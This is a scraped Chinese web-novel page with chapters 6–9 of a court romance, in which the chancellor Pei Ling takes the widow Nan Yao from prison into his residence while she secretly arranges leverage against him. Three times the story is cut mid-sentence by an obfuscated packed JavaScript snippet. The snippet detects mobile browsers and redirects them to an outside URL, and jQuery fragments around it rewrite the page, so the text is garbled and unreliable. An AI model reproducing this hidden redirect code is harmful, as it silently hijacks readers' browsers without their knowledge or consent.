南荛之所以知道他,一是曾听段浔提过两句,二是因为,这天下间有关他的传言甚多。 布衣出身,治世之才,美如冠玉,先帝宠臣……数不清的名头加在一起,任谁听了都会惊叹不已。 听说此人少年时,就被先帝看中,破格任命为中朝官,短短三年又升为尚书令,位列三独。 据闻,此人心怀沟壑,多谋善断,看似是刚正凛直之君子,行事风格亦以怀柔著称,实则残酷阴狠,杀人于无形,不知多少王公贵戚死于他手。 对他恨之入骨者有之,对他敬佩仰慕者也不少。 再后来,新帝登基,裴淩位列相位,紫金印绶,领尚书事,但因其布衣出身,依然从不与门阀士族为伍。 本朝选举官员多为征辟孝廉,而早几年,公府辟招皆以世族豪强为先,清浊混淆,寒门之士纵有贤能亦难出头,直至后来,裴相为革除其弊,奏请为孝廉选拔新增复试[1]。 此举当即引起诸多世族联合抨击,但裴淩力排众议,将此政推行了下去。 从那以后民间便纷纷说,丞相裴淩,为人刚正凛直、心怀百姓,乃朝中一股清流。 当真是清流吗? 南荛深知,权力斗争与安邦治国是两码事,世间事不是非黑即白的,裴淩越是能一边顶着世族压力推行新政,一边屹立不倒,至少说明他并非外界传言的那般简单。 她不禁回想起那日牢中,那人看似是在温和地同她说话,睥着地上尸体的神情却极淡漠,提起什么都是轻描淡写的口吻。 不由得心头发悸。 她抬眼问:“他们叫你来,是来劝我的么?我着实不明白,我不过一介孤女,身份低微,有何好劝的。” 陆恪笑着摇头道:“若单单只是劝你,我就没必要来了,该劝你顾惜自己身子的话,之前就已经劝过了,现如今,再让我行那不仁不义之事,我纵使做了也良心不安,将来无颜面对段浔。弟妹,我要同你讲是的另一件事。” “什么?” “你可知,当今朝中,段家一倒,掌握话事权的人会是谁?” 南荛不懂朝堂事,但从陆恪压低的嗓音里,答案已经呼之欲出。 陆恪又兀自答道:“就是裴丞相。” “自文、恒二帝以来,内朝多为外朝之掣肘,然而,自裴淩担任丞相、领尚书事,三年前又兼任司隶校尉后,内外朝之权便尽掌他手,此局势下,陛下重用皇后外戚段氏,将段浔之父任命为大司马大将军,看似是照顾皇后母族,实则是利用段家与裴淩相抗。” “我说句直白的,大司马大将军在世时,从未有人质疑其忠心,为何他一战死,那些‘谋逆罪证’便纷纷冒了出来?经由此案,朝中昔日与大将军走得较近的官员,都因疑似有罪被逮捕入廷尉狱待审,再无人敢吐露半字反对丞相之言。” “段家倒台,他才是最大的得利者。” “现在的裴丞相,才是真正的独断朝纲、只手遮天。” 南荛听他这么说,只觉心脏狠狠被敲了一记,联想起先前种种,瞬间不寒而栗。 如果按陆恪所说,段氏案极可能出自裴淩手笔,负责审理此事的偏偏是丞相长史、廷尉正等,不就相当于贼喊捉贼? 根本不可能翻案。 可真是这样的话,裴淩又何必多此一举?他完全可以不救她,任由王廷尉将她私下里处置就好了,他难道不是自找麻烦吗? 南荛心里涌入许多想法,手指不自觉攥紧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131201|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实,陆恪也觉得裴淩多此一举,谁能想到,今日他下值回府后被人半道儿截去丞相府时,究竟是个什么心情? 他吓得面无人色,联想到近日朝堂上的风声鹤唳,差点以为自己也要被卷进去了,一瞬间脑子里尽是想着如何保全自家妻儿。 谁知到了,丞相让他去见南荛。 他只有一个要求,让她松口。 陆恪犹犹豫豫不肯,拱手对着窗前立着的那道背影下拜,委婉推拒道:“丞相,下官早已见过她,虽只有一面,也能看出她性子刚绝,绝非轻易改变想法之人……” 裴淩手指抚着窗沿,冷淡道:“那便告诉她,她若要想翻案,须我从这里入手。” 短时间内无法让一个人对另一个人全然相信,那就换条路子,让她知道,裴淩是唯一的着手点,她断了他这条路,才是彻底没了希望。 陆恪:“……” 陆恪还是不愿。 但裴淩不是在请求他,是在给他下命令。 行到廷尉狱,陆恪也只能安慰自己:这样也好,至少是给南荛指了条生路,浔弟若泉下有知,也会希望她能好好活着。 段家之事如此复杂,就连朝中官员都有心无力,更就不该牵扯到她一个柔弱女子身上。 至于丞相,人人皆知他不沾女色,朝堂上行事再杀伐果断,也犯不着对一个柔弱妇人做什么。 陆恪思绪翻滚,继续方才的话题:“弟妹,你要知道,不是所有事都要按流程办,规矩是人定的,倘若这定下规则之人便是始作俑者,你还困囿于规则中,才真真是一叶障目而不自知。我这话,你明白吗?” 南荛何其聪明,瞬间明白了他的意思。 他说这么多,就是让她不要执着于司法断案这一条路,尽管,越是正规光明的流程,越能毫无争议地向天下人证明段氏清白。 可惜。 手持权柄,远胜于是非对错。 越靠近权力漩涡,人命便越轻贱得一粒灰尘。 “前几日有人想杀我,”南荛沉默良久,突然问了这一句:“也是他自导自演?” 陆恪“啊”了一声,像是完全不知道这事,大吃一惊。 他环顾四周,凑得更近些,压低声音,“什么时候的事?” “就是昨日,我上午才被提审写完供状,晚上便有人投毒杀我。” “这个……”陆恪暗吸冷气,“这不太像,丞相犯不着这么做,这对他有弊无利,这个时机想对你灭口,更像是宫里……”他说到这里,心里有忌惮,不敢继续往下说。 南荛倒是比较冷静,如果毒杀她的和丞相是两拨人,且不是一派的,她好像知道该怎么办了。 南荛突然问他:“你可认得什么熟人,平日里和宫里的人来往比较密切?” 陆恪茫然:“啊?” …… 与此同时。 裴淩正坐在廷尉衙署的大堂里,不紧不慢地饮茶。 王徹只觉头大,打从牢里关着那个叫南荛的女子之后,裴相就三天两头没事跑来坐坐、喝两口茶,也不说话,让他压力颇大。 搞什么啊? 能不能放过他啊? 王徹不好撇下裴丞相自个儿去忙活,他悻悻地守在此处,说话也不是,闭嘴也不是,试探着问候两句,但丞相看起来并不想和他多费口舌,连眼皮子都未抬一下。 他内心正煎熬着,严詹从外头匆匆进来,附耳对丞相说了些什么。 裴淩闻言,顿时搁下茶盏起身,朝外头走去。 “欸?丞、丞相?” 王徹也下意识要跟过去,严詹却突然转身停下,伸手挡住他,笑道:“有件事,丞相命我跟王大人交代几句,咱们借一步说话?” “好,好。”王徹只好跟着严詹去了。 7. 第 7 章 诏狱依昏暗阴沉,充斥着令人作呕的湿咸气。 走道深而长,裴淩独自行走在此处,两侧火把的光明灭闪烁,依次从他的脸上掠过。 他此刻心情不错。 哪怕是用这种会让她提防他的手段,但至少,她如今不必再待在诏狱里,他可以把她留在身边了。 能留在身边,便已完成最难的第一步。 剩下的,再慢慢来。 裴淩已经开始为带她回家之后的事做打算。 她生病了,那就找最好的医师养回来;这几年她吃了苦,那就给她数不尽的金银珠宝、山珍海味,好好娇养着;产生误会了,日后可以解释;不高兴了可以哄她高兴;即便失忆了,也总能慢慢找到办法,让她想起来。 越是在心里勾勒那些美好的愿景,越是觉得现在的一切,都不像真的。 终于可以接她走了。 裴淩走过诏狱的长廊,越是看尽这些污秽阴森之景,越是无法理解她为什么执意呆在此处。 如果是从前那个千娇万宠长大的小公主,在这种地方恐怕无法忍受一日。 然而,等他走过去时,却听到格格不入的欢笑声。 南荛还在和陆恪说话。 只是他们的话题,早已从先前沉重的劝说,跨越到了轻松愉快之处。 “阿浔从前……竟是这样的?” 陆恪已经说到了他与段浔的儿时趣事,南荛托腮仔细听着,一双眸子笑眼弯弯,在昏暗污秽的牢中仍显得清亮有神。 陆恪笑道:“他啊,当年可是我们几个中最皮的那个,平日里没少干坏事,趁着夫子睡觉在他脸上画乌龟,还跑出去‘行侠仗义’,段将军知道了,就撵在他的屁股后头揍他,那小子上蹿下跳地躲,活像只猴儿,不过最后也还是逃不掉一顿打,军中用的鞭子都抽断好几根。” 南荛忍俊不禁,她听阿浔说过他以前的事,但他素来臭美,只会吹嘘自己,什么七岁时就会骑马射箭,什么斗蛐蛐比赛第一、拳打东西南北小霸王,才不会说自己的糗事。 现在从别人口中,才知道他以前糗事不少。 她好奇地问:“那他幼时……难道时常受责罚?” “那倒不会。” 陆恪笑着摇头,“他是家中幺子,上头的长姊和两个兄长皆宠他,对他有求必应,大将军和夫人嘴上骂他顽皮,平日里就算要打,也不舍得真下狠手。但溺爱归溺爱,浔弟平日里却是最是讲义气,有一次若非是为了帮我出头,也不会把别人打得鼻青脸肿,被家里罚跪祠堂。” “浔弟他,打小便是肆意而动、不受拘束的性子。” “所以后来,自他长姊封后、父亲入洛阳做官后,他虽也跟着来到洛阳,却不喜洛阳处处皆要讲究规矩礼仪,待了不到一个月便跑没了影儿。” 算算时间,应该就是他捡到南荛的时候。 那时的段浔才刚刚十七岁,意气风发,热血心肠,就那样骑着匹马直直闯到她的面前,把她从阴曹地府里拽了出来。 “几年前,浔弟写信给我,说已成家,我那时还很是惊奇。”陆恪笑道:“从前大将军四处给他相看亲事,那些王公贵族家的女公子,他是一个也不喜欢,最终竟顶着家中施压娶了你。” 毕竟世家大族成婚,多讲究门第。 南荛听闻,不禁莞尔微笑。 “他家中原是不答应的。” 她也不曾奢求。 认识他时,她并不知他身份,后来才知晓,原来他出身大族,是大将军家的小公子,他阿父正四处派人抓他。 南荛心底万般不舍。 段浔是她在世上唯一认识的人,也是那么多个日日夜夜里,不厌其烦地照顾着她的人。 他亲手喂她喝药,背着她寻医。 在她的心里,少年就像黑暗中照射进来的一抹曙光,也是她紧紧拽着的那根救命稻草。 如果没有他,她甚至不知道该不该活、该怎么活。 她干净得就像一张白纸,什么都不会。 可南荛又明白,她不应该挽留他。 他救了她的命,于她而言已无法偿还,她本就孤身一人,不该再给别人添麻烦。 那个深夜,南荛怕被他瞧见自己伤心,便偷偷躲在院子里哭,不料却听到身后传来一道清冽的嗓音。 “阿荛?” 她转过身,湿润的睫羽扬起,看到站在月光下的少年。 不知什么时候,段浔已经连夜收拾好行李,牵着马站在院子的海棠树下。 他现在,就要丢下她离开了吗? 她微微咬住下唇,失落道:“你这是要……” 他不等她问完,便朝她弯眸一笑,“私奔啊。” 她的心猛然一颤,认真凝视着他的眼睛,确认他没有说笑。 少年懒洋洋地拎着马鞭,眸光烁亮如星,振振有词:“天下之大,何处不能容身?这世上才没有人能强迫我做我不喜欢的事,阿荛,你愿意同我一起吗?” 桃蹊柳陌、莺飞草长,远不及少年眸中的灼灼春色。 “我跟你走。” 她坚定地说。 于是,他们就这样私奔了。 少年的心炙热如火,认定的事九头牛也拉不回来,纵使医师说南荛体质太差、今后难以诞育子嗣,纵使他父母皆逼他回去另娶他人,许诺可让南荛做妾,他也绝不让步分毫。 时间久了,段家也不得不妥协。 他们让段浔带着新妇归家,好好过安生日子。 少年考虑良久,却对她说:“阿荛,我想过了,倘若我就这么带你回洛阳,即便你是我的正妻,但洛阳里有太多趋炎附势的人,那些人都不好对付……我担心我不在的时候,他们会欺负你。我们就一起留在青州祖宅,好不好?等将来,我阿父阿母打完仗回青州了,我再带你去见他们,他们一定会喜欢你的。” 他扣紧她的手指,神色郑重,对她许诺。 她笑盈盈地望着他,“好。” 她一直都信他的,其实,就算是去洛阳,她也不怕。 因为有他在的每一日,都会拼尽全力护她周全。 可段浔还是死了。 当年的少女偷偷躲在院子里抹泪、以为自己要被抛弃时,还会有决绝地拉着她私奔的少年。可五年后,她终究还是变得孤身一人、无家可归。 …… 裴淩久久站在原地。 他所站的地方不易被人发现,却恰好可以清晰地看到女子生动明丽的眉眼,粲然若星,光华流转,时而低眸笑着,神色似欣喜似怀念,又夹杂着些许怅惘与哀伤。 自重逢以来,他几乎从未见过她露出这般鲜活而复杂的神情。 他们忘情地聊着旧事,完全不知还有人在听。 裴淩面色晦暗不定。 他们不知说了多久,终于,陆恪眼尖地用余光瞥见了裴相,瞬间止住声音,起身道:“裴、裴丞相,下官见过丞相… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131202|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 裴淩自阴影里缓步走出。 她看到是他,脸上那些生动的神情瞬间消失,眼底充满戒备。裴淩见状,胸口忽然窒闷。 明明,她该是喜欢他的。 有些事只有他记得了,纵使早已有过无数次心里准备,裴淩依然尽量垂睫,掩住眸底黯然。 他素来擅长遮掩情绪,如今的模样在旁人看来,依然还是淡然冷峻的样子。 裴淩侧目瞥向陆恪,“聊完了?” 陆恪干笑两声:“聊、聊完了,多谢丞相给下官探监的机会。” 他悄悄看了一眼南荛,南荛此前已和他说好,下定决心上前一步,与裴淩保持着三步之距,施了一礼道:“民女已经想通了,愿意听从大人安排。” “好。”裴淩避开她清亮的目光,没有与她对视,只转身抛下一句,“既如此,我会让严詹给你安排去处。” 他来得快,去得也快。南荛还没来得及多应一声,已看到那道凛冽的影子没入黑暗的长廊深处,不由得愣了下。 他怎么了? 怎么刚来就又走了? 陆恪站在南荛身边,转身对她匆忙交代了一句:“弟妹,你今后好好保重,切勿意气用事,若有需要,随时可来陆宅寻我,咱们慢慢想对策,也好过你一个人硬撑。”便朝她拱了拱手,也跟着离开了。 另一边,严詹拉着王徹私下里交谈,交代的自然是南荛的事。王徹虽然至今都没弄明白他们到底图什么,但混官场久了,就会知道应付这类上级,不带脑子办差也是门学问,不管说什么都满口答应着。 等到隔天一早,严詹便安排了马车带南荛离开。 南荛静静坐在车内,听到外头传来鼎沸人声,揭帘看到繁华热闹的街景,才终于感觉自己时隔几日,好像重新回到了人间。 击鼓前,她从未想过还能活着出来。 这个所谓有进无出、全洛阳最森严的牢狱,真正亲身进去走过一遭,就会明白其本质上,也无非上位者操持权柄的工具而已。 马车徐徐往前行驶,穿过几条大街,很快就停了下来。 侍从掀开车帘,她倾身走出马车,抬头。 眼前赫然立着一座气派的宅邸。 朱漆大门,门楼高耸,飞檐翘角,铜环狮首,门楼之上的琉璃瓦在日光下的照耀下熠熠生辉,门楣之上雕刻着松鹤、莲花等精细图样,门前石阶宽阔,让人一眼便能感受到宅院主人威严庄重的气派。 严詹正站在门前等着,她提裙踩着踏脚凳下车,上前唤道:“严大人。” 严詹笑道:“此处乃丞相府偏门,娘子先跟我进去罢,放心,在这里无人能动你一根毫毛,这几日你先住着,待案子了结再说。” “是。” 南荛跟随他走了进去。 丞相府分为前院与后院,其中前院乃朝廷机要之所,丞相属官颇多,诸曹掾属各有分工,百姓民生、郡国上计等天下事尽归于此,便是吏员也足足有三百六十二人,堪称一个小朝廷。 至于后院,只是丞相、诸僚起居之处。 虽一切布置都以清幽雅致为主,但阁楼水榭应有尽有,华山高耸,深水回还,千栱霞舒,极尽气派。 南荛边走边观察四周,她记忆力极好,走过一遍的路,总能快速记下路线。 只是行至拐角,她发间松松插着的竹簪忽然松掉,无声无息地掉进了草丛里。 她恍若未觉,继续跟随严詹往前走。 8. 第 8 章 大雪稍霁,厚厚的云层后透出朦胧日光,反射在积满雪的石子路上,白茫茫的刺眼。 天未亮时,裴淩便进宫主持朝议。 有关段氏案,百官皆以为已成定居,突然冒出个证人还遭到灭口,此事过于诡异,倒是在朝堂上引起一场格外精彩的争论。 裴淩冷眼旁观事态发展,也将一部分人铁青的神色尽收眼底。 散朝后,羽林郎中狄钺紧跟在裴淩后头,边走边笑道:“丞相,您方才注意杨太傅的表情没?折腾了这么多日,我看啊,他们就差连立后诏书都帮着陛下写了,这回要真不给段氏定罪,那伙人只怕回去了连口饭都吃不下……说起来,这突然冒出来的证人,时机也忒巧了。” 狄钺此刻兴致高昂,滔滔不绝。 他与姓杨的皆不太对付,当年,贵人杨氏还是隆山县主,便张扬跋扈、极为骄横,这样的人若做了皇后,只会让他更不痛快。 联想到杨氏,狄钺便不由得联想到多年前,每每隆山县主跟随其兄长和母亲入宫或参加宴席时,便会横行霸道,肆意刁难旁人。有一次,狄钺身为小官之子,也遭他们一番奚落羞辱,不敢还手,一片混乱中,不知是谁用力推了他一把,让他摔进了臭烘烘的泥潭里,引得一片哄堂大笑。 就在那时,华阳长公主到了。 这位皇后嫡出,五岁时便被天子破例封为长公主、仪比藩王的小殿下,走到哪里都无人敢在她跟前放肆。 华阳公主萧令璋来时,十五岁的狄钺还狼狈地趴在污泥里,被人嘲笑。 一柄剑被扔在了他跟前。 “剑给你了。”公主从他身边悠然走过,只淡淡抛下一句:“用不用它报复回去,皆看你自己。” 狄钺不敢。 不仅别人这样认为,他自己也这么觉得。 但当时,许是那道女声过于清冷,如一斛冰水骤然将他浇得清醒,他豁出去握住了那把剑。 那些人还笑得前仰后合。 在他提剑站起来的瞬间,周围却变得一片寂静。 没人再敢笑他了。 可当他再回过身去看公主时,她却早已走远。 直到她离世,狄钺都未能再一次站在她面前。再后来,因他父亲与裴淩早年之间的关系,狄钺便又跟随裴淩左右,仕途畅通。 短短一瞬,狄钺联想到了许多,方才还兴高采烈、滔滔不绝的人,转瞬就安静下来,低着头一言不发。 裴淩并未管他,一路往前走,出了司马门后,方才乘车回丞相府。 回来不到一刻钟,严詹那边已安置完南荛,过来回禀:“丞相,下官事情已办完了。” 狄钺还在边上,裴淩淡淡道:“狄钺,你先下去。” 狄钺心里有很多想问,但忍住了,嘴上说:“哦。” 待他走了,裴淩才对严詹道:“这几日,你要命人好好调养她的身体,不可马虎,冬日的碳火、保暖的衣物也要备上,这几日她在诏狱受惊过度,你还要记得备些安神香放她住处……”他耐心叮嘱了一长串,又想起什么,“还有,再去吩咐厨房,当年她爱吃宫外的蜜饵春饼,也都去采买着些。” 严詹一一应下,暗道只要一提起殿下,丞相连说话的声音都柔和了不少。 严詹想起什么,又道:“除此之外,还有一事。” “什么。” “宫里又有人来了,说是陛下给您送了许多赏赐……” 裴淩前脚才回来,皇帝那边后脚就派人来了,八成也和今日的朝议有关,裴淩冷淡道:“你去收下便是。” 严詹神色古怪,“此次来的人并非中常侍。” “谁?” “议郎徐晦。” 议郎虽在光禄勋名下,却不属署,不直事,与大夫等谏官类似,只是秩比六百石。 官阶虽小,但可出入内朝,随侍御前。 徐晦此人,其父乃太中大夫徐朗,少传家学,博通经传与百家言,近期常被陛下传召。 平时代天子在百官跟前走动的多为中常侍吕之贺,这次倒是他来稀罕,只怕别有他意。 裴淩转身道:“走,去看看。” 前堂里,徐晦身着深色袍服,外挂铜印墨绶,介帻加冠,端正立在原地,见裴淩出来,笑着迎上前。 “下官拜见丞相。” 徐晦毕恭毕敬施完一礼,才直起身,面上满是笑意,“下官这次来无甚要紧事,只是陛下新得地方上贡,吕常侍代陛下去太傅府走动了,下官便主动过来走一趟,顺道与丞相您问声好。” 朝中现在人人皆知道,不管段家这次罪名成不成立,大司马大将军已死,段家都再无翻身可能,今后这朝堂就是裴丞相的天下,会有官员想主动巴结着些,也是正常。 徐晦又提到圣上关于段氏案的看法,言语之间,似乎想代皇帝试探裴淩的意思,裴淩与之随口敷衍两句,等他离去,严詹望着他背影的方向,皱眉道:“真是莫名其妙。” “你以为他真是闲得无聊么?”裴淩拢了拢袖子,嗓音清淡。 严詹“啊?”了一声。 裴淩淡淡问:“陆徐两家什么关系?” 严詹开始仔细回忆,猛一拍手,恍然道:“这个徐晦去年娶的新妇,貌似就是陆家女。” 不琢磨倒好,这一联想起来,再加上陆恪刚和南荛见过…… 严詹惊了惊,“难不成是公主……” “九成是她。”裴淩道。 严詹彻底无言。 本以为南荛已经答应跟他们走了,此事便算结束,想不到她竟在这里留了一手。 徐晦的存在,仿佛是在间接提醒裴淩,倘若裴淩出尔反尔、不曾替段家洗清冤屈,纵使“南荛”已死,她也能让陆恪将她在裴淩这里的事捅出去,届时杨太傅等人知晓,纵使他们想杀南荛,也不会放过裴淩。 毕竟从下毒一事上看,裴淩与对方明显不是一路的。 这一招掣肘,用的妙极。 严詹神色古怪,心想:这次也算他们掉以轻心了,只想着人都失忆了,看着娇柔可怜弱不禁风的,又不懂朝堂事,哪能玩什么花招? 却完全忘记了,这位从前就不是善茬。 她最不喜受人拿捏。 - 南荛被严詹暂时安排的住处,是一个偏僻却环境清幽的小院落。 被派来照顾她的婢女原有四人,但南荛不习惯被人伺候,推辞再三,最终只留下了一个名唤绿盈的婢女。 绿盈才十五岁,年纪虽小却机敏活泼,一双杏子眼尤为有神。 南荛刚从牢里出来,疾病未愈,咳喘不已,绿盈服侍她沐浴更衣后,便请来医官为她诊脉。 久病成医,南荛对自己的身体情况早已心里有数,甚至连应该喝哪几味药材便倒背如流。 绿盈看医师写方子,忽然惊奇地叫了一声,“娘子,这里头有一味药叫南岭荛花呢!” 南荛闻言,微微一笑。 她的名字便是这么来的。 五年前她病重,每日都要喝不少药,阿浔问她叫什么名字,她想了又想,终究只能失落地摇头。 少年何其机敏,见她不开心,便灵机一动,指着药方上的字笑道:“既然你每日都要喝这味药材,不如就以它命名吧,南岭荛花……叫南荛怎么样?” 南岭荛花,虽有微毒,却可治病,多生于山地石壁等地,生命力顽强,在极恶劣的环境下亦能生存。 少年坐在床前帮她吹药,弯着一双粲然的眼眸道:“希望阿荛可以像这荛花一样,坚强地活下去。” 她是坚强地活下去了,可是他呢?想起从前,南荛再度眼底泛红,怅然若失。绿盈见她被勾起了伤心的回忆,也不敢再乱说话,出去帮着煎药了。 随后,又有人给南荛送了膳食过来,那些吃食看似清淡,细看便会发现内有乾坤,不知掺了多少千金难求的滋补之物。 南荛察觉到饮食的奢侈后,便觉不妥,谁知她还未推拒掉,严詹又命人送了几件衣物过来。 那些送来的衣裙,仅仅只是一眼扫过去,便能看出好几件是由双丝绫、两窠绫、仙纹绫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131203|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等名贵绫罗裁剪而成,衣衫规制虽不算奢靡华贵,但也远超过她一介民女所该穿的了。 南荛看得心惊,执意不肯穿,“民女多谢大人好意,但这些衣裳太贵重了,民女不能接受,且丈夫离世不久,民女理应为夫服丧。” 她的理由合情合理,对方自然不能强迫。 但过了不久,又有人送来几件白衣,怕她还是不肯,来者还特意转达了几句话:“这几日甚冷,怕娘子受冻,来不及裁衣,才寻了几件别人穿过的旧衣过来给娘子应付,总归放着也无人穿,还请娘子收下。” 南荛这下推拒不得,只好收下了。 奇怪的是,他们分明不知道她的尺寸,送来的衣裳却除了胖瘦稍稍不同以外,其余地方等俱是十分合身。 南荛心底稍稍升起一股怪异之感。 很快便入夜了,南荛只着中衣坐在铜镜前,绿盈给她梳着头发,笑道:“床已经铺好了,娘子再喝完最后一碗药,便早早歇息吧。” 南荛轻轻“嗯”了声,目光掠过桌面,像是想起什么,忽然问道:“绿盈,我的那个发簪呢?” “发簪?”绿盈不解,“先前给娘子梳发时,奴未曾看见什么发簪啊。” 南荛脸色白了白,“没看见?那是我夫君从前送给我的……”说着,她猛地起身,四处翻找起来。 绿盈见她着急成这样,也连忙跟着翻找了一阵,着实没有看到什么发簪。 南荛喃喃道:“白天刚到相府时还在,许是落在进府的路上了。”说着便拿起一边的灯笼,作势要出门去找。 绿盈吓了一跳,忙拦着她,劝道:“眼下不早了,天色这么晚,娘子还是明日再去找吧。”劝了许久,南荛却执意摇头,不肯歇息。 她低声道:“若是丢了此物,唯一的念想便没了,我又如何睡得着。” “那奴婢陪娘子一起。”绿盈只好妥协,拿起外袍过来给她披上。 二人各提一盏灯笼,冒着寒凉的夜色出去。 偌大的丞相府,入夜后灯火寂静,静悄悄一片。南荛行至岔路口,又提议道:“这样太慢了,绿盈,我们分开去找吧。” 绿盈犹豫不决。这相府守卫森严,稍有不慎便会被当成刺客,她不放心让南荛一个人走。 可借着灯笼散发的暖光,她看到南荛脸色煞白,双眸不知何时已蓄满泪水。 绿盈不禁心软,“那、那好吧……” 二人就这样分开了。 南荛循着白天来时的记忆,一路沿着小道往前,路上有积雪未化,行走起来湿滑,南荛一边提着裙摆注意脚下,一边留意着周围。 这一路上,时不时就会看见巡逻的火光、以及齐整的脚步声,南荛只要觉察不对,便迅速用披风遮住灯笼的光,整个人匿进黑暗里。 丞相府的侍卫,远比想象中要多得多。 南荛谨慎地往前探寻,不知走了多久,忽然发觉一条隐秘小道,里头竟连一盏灯笼也未曾悬挂,望之黑黢黢一片,不知道里面有什么。 她犹豫再三,依然选择悬着一颗心往里走。 耳边,北风凛冽,冲刷过草木花丛,激起万叶千声,如波涛翻滚,涌自四面八方。 她擎灯往里走了数步,抬眸,发觉自己竟不知不觉身处一大片梅林,蓦地愣住。 这里怎么会种满梅花? 南荛小心翼翼地提灯往前走,借着微弱的光,她看到其中一棵梅树的枝丫上绑着布条,仔细一看,上面赫然写着一行字: “葛生蒙棘,蔹蔓于域。予美亡此,谁与独息。” 这竟是……一句悼亡诗? 就在南荛愣神时,一道清如碎玉的声音从身后传来。 “你在此处做什么?” 她脊背骤寒,连忙提灯转身。 残月微薄,以致于她根本没有发现这里还有别人,烛灯往前,逐渐照亮一抹冷白的影子。 对方轻袍广袖,身披鹤氅,神清骨秀若美玉,雪领映着冷玉般的脸,在暗夜里更显得双瞳清明湛黑。 是裴淩。 9.第 9 章 南荛攥着灯柄的手一紧,急忙施礼,“大人。” 这几年,裴淩一到深夜便难眠,早已养成了来此处散心的习惯,眼见着南荛擅闯此处,四处兜转,迟迟不走。 他要是不出声,她只怕还没发现他。 见到南荛唤自己,裴淩眉宇间的冷意霎时褪去,视线不自觉滑落。 她一身白衣似雪,外头罩着披风,肩若削成,腰若约素。 乌发松散,如绸缎般覆在单薄的脊背上。 很美。 他脑海中忽然浮现类似的情形。 不知多少年前,她性子顽劣,总爱缠着他,他不堪其扰,有意躲她数日。不料元宵夜宴,群臣入宫,他同群僚一同步行入司马门,远远就瞥见那小公主披着绛红披风、钗环琳琅,提灯盈盈立在雪里。 一干官员皆低头避让,她却以横伸灯杆,挡住他去路。 “裴大人对本宫视若无睹吗?” 被拦路的少年进退不得,只好抬手清声道:“臣见过殿下。” 她上下端详着他,忽然笑了起来,两靥梨涡浅浅,好似画中静态的少女,随着眼眸用笔着色,而一寸寸变得鲜活明媚起来。 “叫你躲我,今日终于被我抓到了。” …… 南荛有一种被抓到的尴尬。 就在此时,梅林外忽然响起了脚步声,隐约掺着一点微弱的光亮,像是有侍卫提着灯巡逻过来了。 南荛眼看看那亮光逼近,下意识往前几步躲避,却不经意离裴淩更近了。 他从回忆里回神,垂眸瞧着她的举动。 “怕被发现?” 他配合着她压低声音,嗓音清冽,如碎玉落在耳边。 裴淩今夜穿的是织金深色常服,外头披着鹤氅,衣袍带有熟悉又陌生的沉香气,在靠近刹那,骤然冲散梅香。 如一张厉网,无声无息收拢,蚕食着南荛的抵抗力度。 仿佛他们是真的偷偷躲在这里做什么见不得人的事,被抓到会出麻烦。 靠得这么近,男人的视线垂落,目光在她身上服丧的白衣上停顿须臾,又落在她不经意落了碎雪与梅花的鬓发上。 玉瘦香浓,檀深雪散。 他克制地捏捏手指,忍住帮她整理的欲望。 南荛极快地后撤一步,同他拉开距离,镇定地回他道:“民女是来找丢失的簪子,又不是刺客,为什么要怕?” 他一语戳破,“你先前未来过此处,跑到这里来簪子?” 南荛:“民女不认路。” 路痴走错路了不犯律法吧? 裴淩见她嘴硬,倒觉得好笑,微微低眼看她,“若当真不认路的话,独自迷失在此处就该害怕了,但本官怎么看不到你面上丝毫慌乱?” 南荛:“……来都来了,慌乱还有何用。况且,民女不是遇到了大人吗?若是大人肯放过民女,民女还有什么好担心的?” “是么。”裴淩不紧不慢地逼近,吐露的字却令人心底发凉,“本官凭什么要放过你?” 南荛隐约感到不妙,抬头迟疑道:“您……此话何意?” “这话要问你自己,做了什么?。” 南荛心跳漏了一拍。 她大脑转得飞快,很快意识到他所指何意。 看来,陆恪那边的动作很快,已经有人来过丞相府了,裴淩果然也猜到是她暗中在捣鬼了。 那日廷尉狱里,陆恪说过的话还犹在耳边。 南荛的确是答应跟裴淩走,为了能早日洗清段家冤屈,不得已放弃“段浔之妻”的身份。 但这不代表她相信裴淩。 她答应他的前提,是确定陆恪能找个时常在宫中走动的人脉,去丞相府走一趟,以此提醒裴淩,她虽无力反抗他,却可以把他暗中带走她这事,捅给宫里的人知道。 朝堂之事,南荛不懂,也明白此举会有很多漏洞,在裴淩面前不过是班门弄斧、自取其辱。 她只是想以此告诉他,她的决心。 她不怕鱼死网破。 裴淩此人,看似举止风仪严峻,凛然有度似君子,但南荛不会忘记他是上位者,操持权柄,想捏死她就如捏死蚂蚁一样简单。 与之交易,无异于与虎谋皮。 甚至,南荛至今都弄不明白,在段家出事对他有利的情况下,他帮她的理由究竟是什么? 至于现在。 